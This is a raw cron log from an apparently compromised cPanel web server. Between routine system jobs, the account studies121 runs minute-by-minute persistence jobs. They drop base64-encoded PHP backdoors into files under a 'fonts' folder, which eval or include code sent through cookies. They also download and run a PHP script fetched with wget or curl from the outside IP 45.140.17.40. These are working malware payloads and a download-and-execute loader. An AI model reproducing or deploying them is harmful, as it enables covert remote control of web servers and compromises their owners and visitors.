Sep 12 16:36:01 ip-184-168-122-23 CROND[25047]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 16:36:01 ip-184-168-122-23 CROND[25048]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 16:36:01 ip-184-168-122-23 CROND[25052]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 16:36:01 ip-184-168-122-23 CROND[25053]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 16:36:01 ip-184-168-122-23 CROND[25055]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 16:37:01 ip-184-168-122-23 CROND[25141]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 16:37:01 ip-184-168-122-23 CROND[25142]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 16:37:01 ip-184-168-122-23 CROND[25143]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 16:37:01 ip-184-168-122-23 CROND[25148]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 16:38:01 ip-184-168-122-23 CROND[25230]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 16:38:01 ip-184-168-122-23 CROND[25232]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 16:38:01 ip-184-168-122-23 CROND[25233]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 16:38:01 ip-184-168-122-23 CROND[25234]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 16:38:01 ip-184-168-122-23 CROND[25235]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 16:39:01 ip-184-168-122-23 CROND[25330]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 16:39:01 ip-184-168-122-23 CROND[25332]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 16:39:01 ip-184-168-122-23 CROND[25335]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 12 16:39:01 ip-184-168-122-23 CROND[25333]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 16:39:01 ip-184-168-122-23 CROND[25334]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 16:40:01 ip-184-168-122-23 CROND[25515]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 16:40:01 ip-184-168-122-23 CROND[25519]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 16:40:01 ip-184-168-122-23 CROND[25520]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 16:40:02 ip-184-168-122-23 CROND[25523]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 16:40:02 ip-184-168-122-23 CROND[25525]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 16:40:02 ip-184-168-122-23 CROND[25526]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 16:40:02 ip-184-168-122-23 CROND[25529]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 16:40:02 ip-184-168-122-23 CROND[25527]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 16:41:01 ip-184-168-122-23 CROND[25624]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 16:41:01 ip-184-168-122-23 CROND[25626]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 16:41:01 ip-184-168-122-23 CROND[25627]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 16:41:01 ip-184-168-122-23 CROND[25628]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 16:42:01 ip-184-168-122-23 CROND[25738]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 16:42:01 ip-184-168-122-23 CROND[25739]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 16:42:01 ip-184-168-122-23 CROND[25740]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 16:42:01 ip-184-168-122-23 CROND[25741]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 16:42:01 ip-184-168-122-23 CROND[25742]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 16:43:01 ip-184-168-122-23 CROND[25844]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 16:43:01 ip-184-168-122-23 CROND[25846]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 16:43:01 ip-184-168-122-23 CROND[25848]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 16:43:01 ip-184-168-122-23 CROND[25849]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 16:44:01 ip-184-168-122-23 CROND[25950]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 16:44:01 ip-184-168-122-23 CROND[25952]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 16:44:01 ip-184-168-122-23 CROND[25955]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 16:44:01 ip-184-168-122-23 CROND[25953]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 16:44:01 ip-184-168-122-23 CROND[25954]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 16:45:01 ip-184-168-122-23 CROND[26122]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 16:45:01 ip-184-168-122-23 CROND[26126]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 16:45:01 ip-184-168-122-23 CROND[26130]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 16:45:01 ip-184-168-122-23 CROND[26129]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 16:45:01 ip-184-168-122-23 CROND[26131]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_mailman_cache && /usr/local/cpanel/scripts/update_mailman_cache)
Sep 12 16:45:01 ip-184-168-122-23 CROND[26128]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 16:45:01 ip-184-168-122-23 CROND[26132]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 16:46:01 ip-184-168-122-23 CROND[26237]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 16:46:01 ip-184-168-122-23 CROND[26239]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 16:46:01 ip-184-168-122-23 CROND[26241]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 12 16:46:01 ip-184-168-122-23 CROND[26240]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 16:46:01 ip-184-168-122-23 CROND[26242]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep 12 16:46:01 ip-184-168-122-23 CROND[26243]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 16:46:01 ip-184-168-122-23 CROND[26244]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 16:47:01 ip-184-168-122-23 CROND[26351]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 16:47:01 ip-184-168-122-23 CROND[26354]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 16:47:01 ip-184-168-122-23 CROND[26355]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 16:47:01 ip-184-168-122-23 CROND[26353]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
